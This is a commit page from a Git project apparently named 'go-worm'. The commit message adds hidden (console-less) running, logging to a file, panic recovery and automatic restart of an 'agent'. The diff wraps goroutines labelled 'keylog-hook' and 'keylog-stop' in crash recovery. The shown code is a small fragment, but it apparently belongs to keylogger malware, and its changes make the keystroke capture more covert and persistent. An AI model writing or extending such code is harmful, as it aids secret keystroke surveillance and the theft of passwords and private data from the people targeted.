refactor(core): add headless run and auto-restart
- Run without console by default - Log to file once console hidden - Recover panics in background goroutines - Restart agent after unexpected errors - Use shared instance launch helper
This commit is contained in:
@@ -10,6 +10,7 @@ import (
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -83,12 +84,14 @@ func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan
|
||||
|
||||
go func() {
|
||||
defer close(done)
|
||||
defer helpers.RecoverLog("keylog-hook")
|
||||
_ = runHookThread(ready)
|
||||
hookEvents = nil
|
||||
hookThreadID = 0
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer helpers.RecoverLog("keylog-stop")
|
||||
select {
|
||||
case <-ready:
|
||||
case <-stop:
|
||||
|
||||
Reference in New Issue
Block a user